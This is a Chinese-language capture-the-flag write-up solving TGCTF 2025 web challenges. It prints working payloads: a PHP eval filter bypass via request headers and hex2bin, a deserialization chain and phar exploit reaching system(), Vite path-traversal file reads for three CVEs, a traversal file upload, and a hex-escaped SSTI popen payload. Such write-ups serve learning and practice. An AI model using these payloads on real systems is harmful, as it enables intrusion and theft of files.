AAA偷渡阴平(复仇)

 <?php

$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|echo|readfile|highlight|show|source|file|assert/i", $tgctf2025)){
//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
eval($tgctf2025);
}
else{
die('(╯‵□′)╯炸弹!•••*~●');
} highlight_file(__FILE__);

首先题目描述说禁了无参rce,考虑别的办法

但是简单想了一下我学过的rce姿势,只留数字2的并且% $等符号都被禁掉的方法好像没见过

这个题当时是没做出来的,后来经过师哥提示终于解出来

首先localeconv scandir pos end current这些常见函数肯定是被禁掉的,正常读文件的法子应该行不通了

注意到获取请求标头的函数只禁了getallheaders一个函数,但是跟getallheaders函数作用相同的函数还有其他的比如apache_request_headers,我们利用这个函数也可以获取请求标头

然后又因为数字偏偏只有2没有被禁,所以这里肯定是一个重要的利用点,可以想到hex2bin函数,把十六进制字符串转为二进制ascii字符串,如果我们往请求头中放入我们构造的十六进制字符串,hex2bin转为字符串后就可以执行了

首先构造我们需要的十六进制字符串,我们要执行cat /f*命令

然后抓包,把这个加到请求头中,构造无参rce,如图

可以看到报错了,我也不知道啥情况,但是把除了host之外的请求头都删掉就可以了

拿到flag

AAA偷渡阴平

之所以先写复仇的wp再写这个的wp是因为我们要尝试解决上一个题没解决的疑问:为什么刚开始传的时候会报错

由于这个题没有禁用无参rce的相关函数,我们可以深入分析一下

首先

print_r(apache_request_headers());

拿到所有请求标头

我们看到获取请求标头的顺序是从下到上获取

也就是说请求头中最后一行是什么,使用apache_request_headers函数的时候获取的第一个请求标头就是什么

然后我们加上key函数

可以发现就是从下往上获取的键值,我们把构造的十六进制放到最后就好了

然后hex2bin转换执行,复仇版本中也有很多执行函数没有过滤,随便找一个用就行

拿到flag

当然了,因为这个题没有过滤掉这么多的函数,所以我们用最简单的无参做就可以了

火眼辩魑魅

这个题属于简单签到题,简单一讲

首先dirsearch扫一下发现robots.txt,发现很多php文件,题目说只有一个洞是通的,又说是shell学姐,所以直接打tgshell.php,打开看到是一个一句话马

蚁剑测试一下发现能通

根目录读flag

什么文件上传?

打开是一个文件上传入口

顺便dirsearch扫一下,没想到还真有东西

我们看robots.txt

里面有个class.php,打开看一下是个反序列化

首先找链尾,发现future类中有system($_POST["wow"]);,应该是链尾,我们顺着往上找

要调用tostring方法

这里有个地方需要注意

class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.<br>";
}
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better;
}
}
}

由于这里面有个判断if(md5(md5($this->doing))==666)

这里执行md5(md5($this->doing))时,$this->doing 是future 对象。PHP在计算MD5哈希前会将对象转换为字符串,所以会自动调用 future类的__toString 方法

解决了这个问题我们就可以构造链子了

因为反序列化的时候调用了best64_decode函数进行了五次base64解码并且删掉了最后的四个字符,所以我们要进行5次base64编码并在最后加上任意四个字符

<?php
class yesterday {
public $learn;
public $study;
public $try;
} class today {
public $doing;
} class future{ } $c = new yesterday();
$c-> study = new today();
$c->study->doing=new future();
$sc=serialize($c);
for ($i = 0; $i < 5; $i++) {
$sc = base64_encode($sc);
}
$sc .= 'aaaa';
echo $sc;

get传filename然后post传wow就可以了

拿到flag

什么文件上传?(复仇)

上一个题的复仇版本,首先正常的php反序列化肯定是不能做了,因为bast64函数变成了return base64_encode(md5(base64_encode(md5($str))));

由base64_decode变成了encode并且多了不可逆的md5,所以这一种办法应该是行不通的

题目提示是phar反序列化,又有文件上传入口,很容易想到文件上传+phar反序列化组合拳

我们写脚本生成phar包

<?php
class yesterday {
public $learn;
public $study;
public $try;
} class today {
public $doing;
} class future{ } $c = new yesterday();
$c-> study = new today();
$c->study->doing=new future(); @unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar,生成后可以随意修改
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($c); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

本地运行生成phar.phar文件,尝试上传这个文件发现被ban了,但是robots.txt中提示文件上传后缀是三个小写字母

所以我们抓包然后bp爆破一下文件后缀

最后爆出来是atg后缀,修改这个后缀然后上传,然后回到class.php页面传

?filename=phar://./uploads/phar.atg

wow=cat /proc/self/environ

在环境变量里面找到flag

前端game

看到页面名字是Vue3 Game with Vite,猜测是不是跟Vite有关系,搜索发现vite框架

这里利用的是CVE-2025-30208漏洞

官方wp中参考文章

https://www.cnblogs.com/risheng/p/18795361

https://blog.csdn.net/IDHALASHAO/article/details/146611941

https://get-shell.com/6985.html

https://blog.csdn.net/ljh123321ljh/article/details/146726301

https://www.panziye.com/front/16376.html

所以我们首先在调试器中找到存放flag的路径,然后传入

http://127.0.0.1:50766/@fs/tgflagggg?raw??

拿到flag

前端game plus

CVE-2025-31486漏洞

https://mp.weixin.qq.com/s?__biz=MzkyMTcwNjg4Mw==&mid=2247483811&idx=1&sn=2b4403023fd911f611bf5590ea3796d6&scene=21#wechat_redirect

传入

http://127.0.0.1:59538/tgflagggg?.svg?.wasm?init

解base64拿到flag

前端game ultra

CVE-2025-32395漏洞

https://mp.weixin.qq.com/s/HMhzXqSplWa-IwpftxwTiA

打开cmd,尝试执行

curl --request-target /@fs/tgflagggg http://192.168.142.1:59759

发现报错403,但是在这个页面可以找到vite所在的绝对路径

修改payload

curl --request-target /@fs/app/#/../../../../../tgflagggg http://192.168.142.1:59759

拿到flag

(ez)upload

这个题比赛的时候第一步我就跪了

dirsearch只扫出来了index.php.bak,但是赛后看wp有个upload.php.bak。

行吧,就当我的运气都给那些114514抢走了(

读源码发现我们可以通过传参name给file_name赋值,然后$img_path = UPLOAD_PATH . $file_name;

move_uploaded_file($temp_file, $img_path)

所以我们可以通过传参name来进行目录穿越上传文件

由于.user.ini需要同级目录中有php文件,所以可以上传图片马和.user.ini到uploads的上级目录中执行

不过图片马是的时候可以执行,变成一句话马就不能执行命令了,我也不知道为啥

很恶心这个题

直面天命

查看页面源代码发现hint路由,访问发现有一个四个小写字母组成的隐藏路由,可以爆破,最快的方法当然是花10分解锁hint(

然后找到aazz路由,发现页面可以传参,arjun扫一下发现参数filename

直接传?filename=/flag拿到flag

直面天命(复仇)

这里没法filename直接读文件了,访问aazz路由拿到了源码

读源码发现尽管大括号被ban了,但是“天命”会被替换成“{{”,“难违”会被替换成“}}”,这ssti不就来了么

waf中还把下划线_和点.禁掉了,采用十六进制编码和中括号绕过

天命()['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x73\x5f\x5f'][0]['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[132]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x70\x6f\x70\x65\x6e']('ls /')["\x72\x65\x61\x64"]()难违
天命()['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x73\x5f\x5f'][0]['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[132]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x70\x6f\x70\x65\x6e']('cat /tgffff11111aaaagggggggg')["\x72\x65\x61\x64"]()难违

拿到flag

unicode编码也是可以的

TGCTF 2025 web 个人wp的更多相关文章

  1. 逆天通用水印支持Winform,WPF,Web,WP,Win10。支持位置选择(9个位置 ==》[X])

    常用技能:http://www.cnblogs.com/dunitian/p/4822808.html#skill 逆天博客:http://dnt.dkil.net 逆天通用水印扩展篇~新增剪贴板系列 ...

  2. 2022第五空间-web部分wp+复盘总结

    打了一天,麻了,大佬tql,这次get到了不少东西,一是一个不太常见的宽字节注入,我是真的没想到,而且后面也是看了wp理解了好一会才弄明白. 0x01: 题目是一个登录框,但是基本上是过滤掉了所有的常 ...

  3. 实验吧ctf题库web题wp

    经历了学校的校赛,一度自闭,被大佬们刺激的要奋发图强. 1.后台登录 链接: http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php 打开题目首先查看源码, ...

  4. CG-CTF web部分wp

    bin不动了,学学webWEB1,签到1f12,得到flag2,签到2给了输入窗口和密码,但输入后却显示错误,查看源码,发现对输入长度进行了限制,改下长度,得到flag3,md5 collision给 ...

  5. 【WP】【web】中学生CTF | web部分wp

    $_GET 源码: <?php show_source(__FILE__); include 'config.php'; if(!isset($_GET['args'])){ die(); } ...

  6. BUUCTF WEB

    BUUCTF 几道WEB题WP 今天做了几道Web题,记录一下,Web萌新写的不好,望大佬们见谅○| ̄|_ [RoarCTF 2019]Easy Calc 知识点:PHP的字符串解析特性 参考了一下网 ...

  7. 水印第三版 ~ 变态水印(这次用Magick.NET来实现,附需求分析和源码)

    技能 汇总:http://www.cnblogs.com/dunitian/p/4822808.html#skill 以前的水印,只是简单走起,用的是原生态的方法.现在各种变态水印,于是就不再用原生态 ...

  8. CentOS 6编译安装lamp,并分别安装event模块方式和FPM方式的PHP

    任务目标: 编译安装LAMP 要求(1) 安装一个模块化的PHP 要求(2) 安装一个FPM的PHP 注意PHP需要最后一个安装,因为需要前两者的支持. 所以这里的安装次序为 1.httpd 2.Ma ...

  9. CentOS 7 下的LAMP实现以及基于https的虚拟主机

    系统环境:CentOS 7Apache 2.4php 5.4MariaDB 5.5 项目需求:创建3个虚拟主机,分别架设phpMyadmin,wordpress,Discuz其中phpMyadmin提 ...

  10. <WinForm_1>初识WinForm编程

    暑假花了一个多月自学了Win32 SDK编程,不敢说成为了高手,但是还是颇具收获——windows的消息机制(著名的消息循环).一切控件均是窗口…… 曾经有一位网友(和我一个专业的)向我吐槽:Win3 ...

随机推荐

  1. 扩展知识:vscode配置easyx

    扩展知识:vscode配置easyx 前言 ‍ 因为个人用习惯了vscode,对于visual studio的操作只能说相当程度上很不适应,因此,我打算经历一番配置,让vscode可以配置上easyx ...

  2. mysql 连接失败:message from server: "Host '192.168.xx.xxx' is not allowed to connect to this MySQL server"

    前言 mysql 连接失败:message from server: "Host '192.168.xx.xxx' is not allowed to connect to this MyS ...

  3. jquery给一个li标签添加和去掉class属性

    $("li").addClass('xxx').siblings().removeClass("xxx");

  4. NumPy学习4

    今天学习NumPy相关数组操作 NumPy 中包含了一些处理数组的常用方法,大致可分为以下几类:(1)数组变维操作(2)数组转置操作(3)修改数组维度操作(4)连接与分割数组操作 numpy_test ...

  5. OkHTTP发送POST请求传送JSON数据

    导入依赖 <dependencies> <dependency> <groupId>org.springframework.boot</groupId> ...

  6. CSAPP学习笔记——chapter8 异常控制流

    CSAPP学习笔记--chapter8 异常控制流 简介 异常控制流(Exceptional Control Flow,ECF)是在计算机系统中处理不寻常或异常情况的一种机制.它允许系统跳出正常的顺序 ...

  7. 一文速通Python并行计算:03 Python多线程编程-多线程同步(上)—基于互斥锁、递归锁和信号量

    一文速通 Python 并行计算:03 Python 多线程编程-多线程同步(上)-基于互斥锁.递归锁和信号量 摘要: 在 Python 多线程编程中,线程同步是确保多个线程安全访问共享资源的关键技术 ...

  8. DRG,医改分水岭!

    2020-11-04 (2021年政府推出2.0版DRG.增加MCC和CC,各自政府的医保支付中增加了人性化的支付倍率的处理) 假设某疾病病组支付标准10000元,患者自付自费比例40%,分三种情况, ...

  9. Hyperledger Fabric - 区块链应用

    Fabric Gateway SDK 实现Fabric的编程模型,提供了一系列简单的API给应用程序与Fabric区块链网络进行交互 应用程序将各自的网络交互委托给其网关,每个网关都了解网络信道拓扑, ...

  10. 探秘Transformer系列之(22)--- LoRA

    探秘Transformer系列之(22)--- LoRA 目录 探秘Transformer系列之(22)--- LoRA 0x00 概述 0x01 背景知识 1.1 微调 1.2 PEFT 1.3 秩 ...